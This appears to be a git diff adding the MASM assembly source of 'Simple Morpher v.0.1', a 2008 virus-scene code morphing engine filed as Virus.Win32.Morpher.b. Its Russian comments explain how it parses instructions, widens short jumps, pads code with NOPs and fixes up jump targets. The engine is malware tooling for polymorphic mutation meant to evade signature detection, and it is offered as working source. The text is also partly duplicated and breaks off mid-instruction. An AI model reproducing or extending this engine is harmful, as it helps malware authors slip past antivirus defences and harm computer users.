jna @_jump_imm8_
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
cmp al, 0EBh
|
||||||
|
je @_jump_uncond_imm8_
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; 0F XX imm32
|
||||||
|
cmp al, 00Fh
|
||||||
|
jne @F
|
||||||
|
mov ah, byte ptr [edi + 1]
|
||||||
|
cmp ah, 080h
|
||||||
|
jl @F
|
||||||
|
cmp ah, 08Fh
|
||||||
|
jna @_jump_imm32_
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; JMP imm32
|
||||||
|
cmp al, 0E9h
|
||||||
|
je @_jump_uncond_imm32_
|
||||||
|
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; CALL
|
||||||
|
cmp al, 0E8h
|
||||||
|
je @_call_imm32_
|
||||||
|
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
jmp @_exit_
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
@_jump_imm8_:
|
||||||
|
@_jump_uncond_imm8_:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; Короткие прыжки
|
||||||
|
movzx eax, byte ptr [edi + 1]
|
||||||
|
mov cl, al
|
||||||
|
test cl, 10000000b ; isNegative?
|
||||||
|
|
||||||
|
jnz @_neg_1
|
||||||
|
add edi, eax
|
||||||
|
add edi, 2
|
||||||
|
xchg eax, edi
|
||||||
|
jmp @_exit_
|
||||||
|
|
||||||
|
@_neg_1:
|
||||||
|
neg al
|
||||||
|
sub al, 2
|
||||||
|
sub edi, eax
|
||||||
|
xchg eax, edi
|
||||||
|
jmp @_exit_
|
||||||
|
|
||||||
|
|
||||||
|
@_jump_imm32_:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; Длинные прыжки
|
||||||
|
mov eax, dword ptr [edi + 2]
|
||||||
|
mov ecx, eax
|
||||||
|
shr ecx, 24d
|
||||||
|
test ecx, 10000000b ; isNegative?
|
||||||
|
|
||||||
|
jnz @_neg_2
|
||||||
|
add eax, edi
|
||||||
|
add eax, 6
|
||||||
|
jmp @_exit_
|
||||||
|
|
||||||
|
@_neg_2:
|
||||||
|
neg eax
|
||||||
|
sub eax, 6
|
||||||
|
sub edi, eax
|
||||||
|
xchg eax, edi
|
||||||
|
jmp @_exit_
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@_jump_uncond_imm32_:
|
||||||
|
@_call_imm32_:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; JMP imm32 & CALL imm32
|
||||||
|
mov eax, dword ptr [edi + 1]
|
||||||
|
mov ecx, eax
|
||||||
|
shr ecx, 24d
|
||||||
|
test ecx, 10000000b ; isNegative?
|
||||||
|
|
||||||
|
jnz @_neg_3
|
||||||
|
add edi, eax
|
||||||
|
add edi, 5
|
||||||
|
xchg eax, edi
|
||||||
|
jmp @_exit_
|
||||||
|
|
||||||
|
@_neg_3:
|
||||||
|
neg eax
|
||||||
|
sub eax, 5
|
||||||
|
sub edi, eax
|
||||||
|
xchg eax, edi
|
||||||
|
;///////////////////////////////////////
|
||||||
|
@_exit_:
|
||||||
|
|
||||||
|
pop edi
|
||||||
|
pop ecx
|
||||||
|
|
||||||
|
ret
|
||||||
|
get_jump_address endp
|
||||||
|
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
; Функция для поиска в массиве описаний инструкций |
|
||||||
|
; Нового адреса для прыжка.... |
|
||||||
|
; |
|
||||||
|
; IN dwAddress - Адрес прыжка |
|
||||||
|
; IN pOpcodes - Указатель на массив с описаниями опкодов |
|
||||||
|
; OUT EAX - Новый адрес прыжка... |
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD
|
||||||
|
push ecx
|
||||||
|
|
||||||
|
assume ecx : ptr _OPCODE
|
||||||
|
mov ecx, pOpcodes
|
||||||
|
mov eax, dwAddress
|
||||||
|
|
||||||
|
@@:
|
||||||
|
cmp [ecx].dwOldAddress, eax
|
||||||
|
je @F
|
||||||
|
add ecx, sizeof _OPCODE
|
||||||
|
cmp [ecx].dwOldAddress, 0
|
||||||
|
jne @B
|
||||||
|
xor eax, eax
|
||||||
|
@@:
|
||||||
|
mov eax, [ecx].dwNewAddress
|
||||||
|
|
||||||
|
pop ecx
|
||||||
|
ret
|
||||||
|
get_new_jump_address endp
|
||||||
|
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
; Функция разбавляет определённый код, инструкцией NOP |
|
||||||
|
; ВАЖНО! Код должен заканчиваться опкодом 0CCh |
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
; IN dwCodeAddress - Адрес кода для морфинга |
|
||||||
|
; IN dwOutputBuffer - Адрес куда будет занесён проморфленный код |
|
||||||
|
; OUT EAX - Размер проморфленного кода |
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD
|
||||||
|
local pOpcodes : DWORD
|
||||||
|
local dwTotalCodeSize : DWORD
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; pOpcodes - Указатель на описания опкодов ::
|
||||||
|
; dwOutputBuffer - Проморфленный код ::
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Зарезервируем памяти для массива с описаниям инструкций
|
||||||
|
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
|
||||||
|
mov pOpcodes, eax
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Обнулим переменную в которую будем заносить
|
||||||
|
; Общий размер кода
|
||||||
|
push 0
|
||||||
|
pop dwTotalCodeSize
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Без комментариев
|
||||||
|
assume ecx : ptr _OPCODE
|
||||||
|
mov esi, dwCodeAddress ; Code Address
|
||||||
|
mov edi, dwOutputBuffer ; New Code Address
|
||||||
|
mov ecx, pOpcodes ; array of _OPCODES
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Первый этап :::::::::::::::::::::::::::
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Укажем для первой инструкции её новый адрес что в EDI
|
||||||
|
mov [ecx].dwNewAddress, edi
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Начинаем цикл
|
||||||
|
; Loop 1
|
||||||
|
@_loop_1:
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Узнаем длинну у инструкции
|
||||||
|
; IN ESI == Current Code Offset
|
||||||
|
; OUT EAX == Instruction Length
|
||||||
|
call c_Catchy
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; Занесём данные в массив с описаниями
|
||||||
|
mov [ecx].dwOldAddress, esi
|
||||||
|
mov [ecx].dwLength, eax
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Короткие условные прыжки меняем на длинные
|
||||||
|
; Они отличаются от длинных префиксом 00Fh
|
||||||
|
; в начале и +10h к текущему опкоду прыжка
|
||||||
|
; Пример:
|
||||||
|
; Было :00000000: 74 30
|
||||||
|
; 0F +10 30 00 00 00
|
||||||
|
; Стало:00000000: 0F 84 30 00 00 00
|
||||||
|
cmp byte ptr [esi], 070h
|
||||||
|
jl @F
|
||||||
|
cmp byte ptr [esi], 07Fh
|
||||||
|
ja @F
|
||||||
|
push eax
|
||||||
|
mov al, 00Fh
|
||||||
|
stosb
|
||||||
|
|
||||||
|
movzx eax, byte ptr [esi]
|
||||||
|
add eax, 10h
|
||||||
|
stosd
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Подсчитаем адрес куда указывает прыжок
|
||||||
|
push esi
|
||||||
|
call get_jump_address
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::
|
||||||
|
; Занесём данные в массив
|
||||||
|
mov [ecx].dwJumpAddress, eax
|
||||||
|
|
||||||
|
pop eax
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Прибавим к общему размеру кода
|
||||||
|
; Длинну 00Fh XXh imm32, т.е. число 6
|
||||||
|
; где XX » [80h..8Fh]
|
||||||
|
add dwTotalCodeSize, 6
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Пропустим перенос маленького прыжка
|
||||||
|
; Переходим к следующей инструкции
|
||||||
|
jmp @_next_inst_
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Меняем...
|
||||||
|
; JMP imm8 -> JMP imm32
|
||||||
|
; Пример
|
||||||
|
; Было : 00000000: EB 33
|
||||||
|
; Стало: 00000000: E9 33 00 00 00
|
||||||
|
cmp byte ptr [esi], 0EBh
|
||||||
|
jne @F
|
||||||
|
push eax
|
||||||
|
|
||||||
|
mov al, 0E9h
|
||||||
|
stosb
|
||||||
|
xor eax, eax
|
||||||
|
stosd
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Подсчитаем адрес куда указывает прыжок
|
||||||
|
push esi
|
||||||
|
call get_jump_address
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::
|
||||||
|
; Занесём данные в массив
|
||||||
|
mov [ecx].dwJumpAddress, eax
|
||||||
|
|
||||||
|
pop eax
|
||||||
|
;:::::::::::::::::::::::::::::::
|
||||||
|
; Прибавим к общему размеру кода
|
||||||
|
; Длинну E9 imm32, т.е. число 5
|
||||||
|
add dwTotalCodeSize, 5
|
||||||
|
jmp @_next_inst_
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Проверим на JMP imm32
|
||||||
|
cmp byte ptr [esi], 0E9h
|
||||||
|
jne @F
|
||||||
|
|
||||||
|
push eax
|
||||||
|
push esi
|
||||||
|
call get_jump_address
|
||||||
|
mov [ecx].dwJumpAddress, eax
|
||||||
|
pop eax
|
||||||
|
jmp @_replace_instr_
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Проверим на CALL
|
||||||
|
cmp byte ptr [esi], 0E8h
|
||||||
|
jne @F
|
||||||
|
|
||||||
|
push eax
|
||||||
|
push esi
|
||||||
|
call get_jump_address
|
||||||
|
mov [ecx].dwJumpAddress, eax
|
||||||
|
pop eax
|
||||||
|
jmp @_replace_instr_
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; 00Fh XX imm32
|
||||||
|
cmp byte ptr [esi], 00Fh
|
||||||
|
jne @F
|
||||||
|
cmp byte ptr [esi + 1], 080h
|
||||||
|
jl @F
|
||||||
|
cmp byte ptr [esi + 1], 08Fh
|
||||||
|
ja @F
|
||||||
|
push eax
|
||||||
|
push esi
|
||||||
|
call get_jump_address
|
||||||
|
mov [ecx].dwJumpAddress, eax
|
||||||
|
pop eax
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
@@:
|
||||||
|
|
||||||
|
@_replace_instr_:
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Переносим инструкцию в новый буффер.
|
||||||
|
; Этот код выполниться в том случае
|
||||||
|
; Если мы не меняли оригинальные инструкции
|
||||||
|
push esi
|
||||||
|
push ecx
|
||||||
|
|
||||||
|
mov ecx, eax
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
pop ecx
|
||||||
|
pop e
|
758
Engines/Virus.Win32.Morpher.b.asm
Normal file
758
Engines/Virus.Win32.Morpher.b.asm
Normal file
@ -0,0 +1,758 @@
|
|||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Simple Morpher v.0.1 :
|
||||||
|
; :
|
||||||
|
; x0man © 2008 :
|
||||||
|
; :
|
||||||
|
; http://www.virustech.org/ :
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
;-----------------------------------------------------------------------------------------:
|
||||||
|
; :
|
||||||
|
;В Кратце расскажу алгоритм, который у меня реализован. :
|
||||||
|
; :
|
||||||
|
;Есть массив в который заносятся данные о инструкциях :
|
||||||
|
;Одним эллементом массива является: :
|
||||||
|
; :
|
||||||
|
;_OPCODE struct; :
|
||||||
|
; dwOldAddress dd ? ; Старый адрес инструкции (до морфинга) :
|
||||||
|
; dwNewAddress dd ? ; Новый адрес инструкции (после морфинга) :
|
||||||
|
; dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов) :
|
||||||
|
; ; (если инструкция им является) :
|
||||||
|
; dwLength dd ? ; в данном примере эта переменная не используется :
|
||||||
|
; ; Надеюсь вам она пригодиться больше чем мне :) :
|
||||||
|
;_OPCODE ends :
|
||||||
|
; :
|
||||||
|
;В "мой" Первый этап входит :
|
||||||
|
; 1. Парсинг кода, и выделение на каждую инструкцию одного :
|
||||||
|
; эллемента массива, заполняя данные в структуре _OPCODE. :
|
||||||
|
; 2. Расширение кода для будущих изменений (замена коротких прыжков на длинные) :
|
||||||
|
; 3. Если инструкция является прыжком или вызовом, нам нужно :
|
||||||
|
; подсчитать скажем так EIP при выполнении оной. :
|
||||||
|
; 4. И есстественно разбавление кода (инструкцией NOP) :
|
||||||
|
; :
|
||||||
|
;Второй этап :
|
||||||
|
; 1. Проходимся по массиву с описаниями инструкций :
|
||||||
|
; 2. Если инструкция является вызовом, то вычисляем параметр у прыжка :
|
||||||
|
; или вызова, и меняем его на корректный(уже в изменённом коде). :
|
||||||
|
; :
|
||||||
|
; :
|
||||||
|
;Вроде бы всё... для более точных описаний смотрим код! :
|
||||||
|
; :
|
||||||
|
;Дизассемблер длинн инструкций я взял Catchy_32, который можно скачать с :
|
||||||
|
; http://www.wasm.ru, он также прилагается к исходникам в приложении. :
|
||||||
|
; :
|
||||||
|
;GreeTz: :
|
||||||
|
; Osen :
|
||||||
|
; izee [ EOF-Project ] http://eof-project.net/ :
|
||||||
|
; :
|
||||||
|
; tPORt (http://www.tport.org/) :
|
||||||
|
; REVENGE(http://www.revenge-crew.com/) :
|
||||||
|
; TLG (http://tlg.astalavista.ms/) :
|
||||||
|
; TSRh (http://tsrh.org.ua/) :
|
||||||
|
; TPOC (http://vx.netlux.org/tpoc/) :
|
||||||
|
; :
|
||||||
|
; :
|
||||||
|
; Спасибо за внимание! :
|
||||||
|
; :
|
||||||
|
; 10.05.2008 :
|
||||||
|
; x0man [VirusTech] :
|
||||||
|
; http://www.virustech.org :
|
||||||
|
;-----------------------------------------------------------------------------------------:
|
||||||
|
|
||||||
|
.386
|
||||||
|
.model flat, stdcall
|
||||||
|
option casemap :none
|
||||||
|
|
||||||
|
include \MASM32\INCLUDE\windows.inc
|
||||||
|
include \MASM32\INCLUDE\kernel32.inc
|
||||||
|
include \MASM32\INCLUDE\user32.inc
|
||||||
|
|
||||||
|
includelib \MASM32\LIB\kernel32.lib
|
||||||
|
includelib \MASM32\LIB\user32.lib
|
||||||
|
|
||||||
|
; #########################################################################
|
||||||
|
|
||||||
|
_OPCODE struct
|
||||||
|
dwOldAddress dd ? ; Старый адрес инструкции (до морфинга)
|
||||||
|
dwNewAddress dd ? ; Новый адрес инструкции (после морфинга)
|
||||||
|
dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов)
|
||||||
|
; (если инструкция им является)
|
||||||
|
dwLength dd ? ; в данном примере эта переменная не используется
|
||||||
|
; Надеюсь вам она пригодиться больше чем мне :)
|
||||||
|
_OPCODE ends
|
||||||
|
|
||||||
|
; #########################################################################
|
||||||
|
|
||||||
|
.code
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Код для теста :)
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
test_code:
|
||||||
|
@@:
|
||||||
|
jmp @F
|
||||||
|
mov eax, edx
|
||||||
|
pop eax
|
||||||
|
push eax
|
||||||
|
call @F
|
||||||
|
cmp eax, 0
|
||||||
|
jne @B
|
||||||
|
jmp @B
|
||||||
|
add ecx, edx
|
||||||
|
add eax, edx
|
||||||
|
xchg edx, ecx
|
||||||
|
call @B
|
||||||
|
jne @F
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
db 0,0,0,0,0,0,0,0,0,0
|
||||||
|
jne @B
|
||||||
|
ret
|
||||||
|
@@:
|
||||||
|
ret
|
||||||
|
int 3
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::
|
||||||
|
; Подключим дизасм длинн инструкций
|
||||||
|
include Catchy32\Catchy32.inc
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
; Функция для подсчёта числа, куда должен указывать прыжок|
|
||||||
|
; Пример: dwCurrentAddress - указывает на код |
|
||||||
|
; |
|
||||||
|
; 00000000: 74 30 JE imm8 |
|
||||||
|
; эта функция высчитывает "imm8" |
|
||||||
|
; в нашем примере imm8 = 00000000 + 30 + 2 = 00000032 |
|
||||||
|
; т.е. |
|
||||||
|
; 00000000 - Текущий адрес |
|
||||||
|
; 30 - Параметр |
|
||||||
|
; 2 - Длинна инструкции JE imm8 |
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
; 00000000: 74 30 JE 00000032 --. |
|
||||||
|
; 00000002: | |
|
||||||
|
; | |
|
||||||
|
; 00000032: <-----° |
|
||||||
|
; Это описание для "положительных" прыжков |
|
||||||
|
; Для отрицательных, попробуйте разобрать сами |
|
||||||
|
; там не сложно ;-) |
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|
|
||||||
|
; IN dwCurrentAddress : текущий адрес предпологаемого прыжка |
|
||||||
|
; OUT EAX : Адрес куда прыжок указывает |
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
get_jump_address proc dwCurrentAddress : DWORD
|
||||||
|
|
||||||
|
push ecx
|
||||||
|
push edi
|
||||||
|
|
||||||
|
mov edi, dwCurrentAddress
|
||||||
|
mov al, byte ptr [edi]
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; XX imm8
|
||||||
|
cmp al, 070h
|
||||||
|
jl @F
|
||||||
|
cmp al, 07Fh
|
||||||
|
jna @_jump_imm8_
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
cmp al, 0EBh
|
||||||
|
je @_jump_uncond_imm8_
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; 0F XX imm32
|
||||||
|
cmp al, 00Fh
|
||||||
|
jne @F
|
||||||
|
mov ah, byte ptr [edi + 1]
|
||||||
|
cmp ah, 080h
|
||||||
|
jl @F
|
||||||
|
cmp ah, 08Fh
|
||||||
|
jna @_jump_imm32_
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; JMP imm32
|
||||||
|
cmp al, 0E9h
|
||||||
|
je @_jump_uncond_imm32_
|
||||||
|
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; CALL
|
||||||
|
cmp al, 0E8h
|
||||||
|
je @_call_imm32_
|
||||||
|
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
jmp @_exit_
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
@_jump_imm8_:
|
||||||
|
@_jump_uncond_imm8_:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; Короткие прыжки
|
||||||
|
movzx eax, byte ptr [edi + 1]
|
||||||
|
mov cl, al
|
||||||
|
test cl, 10000000b ; isNegative?
|
||||||
|
|
||||||
|
jnz @_neg_1
|
||||||
|
add edi, eax
|
||||||
|
add edi, 2
|
||||||
|
xchg eax, edi
|
||||||
|
jmp @_exit_
|
||||||
|
|
||||||
|
@_neg_1:
|
||||||
|
neg al
|
||||||
|
sub al, 2
|
||||||
|
sub edi, eax
|
||||||
|
xchg eax, edi
|
||||||
|
jmp @_exit_
|
||||||
|
|
||||||
|
|
||||||
|
@_jump_imm32_:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; Длинные прыжки
|
||||||
|
mov eax, dword ptr [edi + 2]
|
||||||
|
mov ecx, eax
|
||||||
|
shr ecx, 24d
|
||||||
|
test ecx, 10000000b ; isNegative?
|
||||||
|
|
||||||
|
jnz @_neg_2
|
||||||
|
add eax, edi
|
||||||
|
add eax, 6
|
||||||
|
jmp @_exit_
|
||||||
|
|
||||||
|
@_neg_2:
|
||||||
|
neg eax
|
||||||
|
sub eax, 6
|
||||||
|
sub edi, eax
|
||||||
|
xchg eax, edi
|
||||||
|
jmp @_exit_
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@_jump_uncond_imm32_:
|
||||||
|
@_call_imm32_:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; JMP imm32 & CALL imm32
|
||||||
|
mov eax, dword ptr [edi + 1]
|
||||||
|
mov ecx, eax
|
||||||
|
shr ecx, 24d
|
||||||
|
test ecx, 10000000b ; isNegative?
|
||||||
|
|
||||||
|
jnz @_neg_3
|
||||||
|
add edi, eax
|
||||||
|
add edi, 5
|
||||||
|
xchg eax, edi
|
||||||
|
jmp @_exit_
|
||||||
|
|
||||||
|
@_neg_3:
|
||||||
|
neg eax
|
||||||
|
sub eax, 5
|
||||||
|
sub edi, eax
|
||||||
|
xchg eax, edi
|
||||||
|
;///////////////////////////////////////
|
||||||
|
@_exit_:
|
||||||
|
|
||||||
|
pop edi
|
||||||
|
pop ecx
|
||||||
|
|
||||||
|
ret
|
||||||
|
get_jump_address endp
|
||||||
|
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
; Функция для поиска в массиве описаний инструкций |
|
||||||
|
; Нового адреса для прыжка.... |
|
||||||
|
; |
|
||||||
|
; IN dwAddress - Адрес прыжка |
|
||||||
|
; IN pOpcodes - Указатель на массив с описаниями опкодов |
|
||||||
|
; OUT EAX - Новый адрес прыжка... |
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD
|
||||||
|
push ecx
|
||||||
|
|
||||||
|
assume ecx : ptr _OPCODE
|
||||||
|
mov ecx, pOpcodes
|
||||||
|
mov eax, dwAddress
|
||||||
|
|
||||||
|
@@:
|
||||||
|
cmp [ecx].dwOldAddress, eax
|
||||||
|
je @F
|
||||||
|
add ecx, sizeof _OPCODE
|
||||||
|
cmp [ecx].dwOldAddress, 0
|
||||||
|
jne @B
|
||||||
|
xor eax, eax
|
||||||
|
@@:
|
||||||
|
mov eax, [ecx].dwNewAddress
|
||||||
|
|
||||||
|
pop ecx
|
||||||
|
ret
|
||||||
|
get_new_jump_address endp
|
||||||
|
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
; Функция разбавляет определённый код, инструкцией NOP |
|
||||||
|
; ВАЖНО! Код должен заканчиваться опкодом 0CCh |
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
; IN dwCodeAddress - Адрес кода для морфинга |
|
||||||
|
; IN dwOutputBuffer - Адрес куда будет занесён проморфленный код |
|
||||||
|
; OUT EAX - Размер проморфленного кода |
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||||
|
MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD
|
||||||
|
local pOpcodes : DWORD
|
||||||
|
local dwTotalCodeSize : DWORD
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; pOpcodes - Указатель на описания опкодов ::
|
||||||
|
; dwOutputBuffer - Проморфленный код ::
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Зарезервируем памяти для массива с описаниям инструкций
|
||||||
|
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
|
||||||
|
mov pOpcodes, eax
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Обнулим переменную в которую будем заносить
|
||||||
|
; Общий размер кода
|
||||||
|
push 0
|
||||||
|
pop dwTotalCodeSize
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Без комментариев
|
||||||
|
assume ecx : ptr _OPCODE
|
||||||
|
mov esi, dwCodeAddress ; Code Address
|
||||||
|
mov edi, dwOutputBuffer ; New Code Address
|
||||||
|
mov ecx, pOpcodes ; array of _OPCODES
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Первый этап :::::::::::::::::::::::::::
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Укажем для первой инструкции её новый адрес что в EDI
|
||||||
|
mov [ecx].dwNewAddress, edi
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Начинаем цикл
|
||||||
|
; Loop 1
|
||||||
|
@_loop_1:
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Узнаем длинну у инструкции
|
||||||
|
; IN ESI == Current Code Offset
|
||||||
|
; OUT EAX == Instruction Length
|
||||||
|
call c_Catchy
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; Занесём данные в массив с описаниями
|
||||||
|
mov [ecx].dwOldAddress, esi
|
||||||
|
mov [ecx].dwLength, eax
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Короткие условные прыжки меняем на длинные
|
||||||
|
; Они отличаются от длинных префиксом 00Fh
|
||||||
|
; в начале и +10h к текущему опкоду прыжка
|
||||||
|
; Пример:
|
||||||
|
; Было :00000000: 74 30
|
||||||
|
; 0F +10 30 00 00 00
|
||||||
|
; Стало:00000000: 0F 84 30 00 00 00
|
||||||
|
cmp byte ptr [esi], 070h
|
||||||
|
jl @F
|
||||||
|
cmp byte ptr [esi], 07Fh
|
||||||
|
ja @F
|
||||||
|
push eax
|
||||||
|
mov al, 00Fh
|
||||||
|
stosb
|
||||||
|
|
||||||
|
movzx eax, byte ptr [esi]
|
||||||
|
add eax, 10h
|
||||||
|
stosd
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Подсчитаем адрес куда указывает прыжок
|
||||||
|
push esi
|
||||||
|
call get_jump_address
|
||||||
|
|
||||||
|
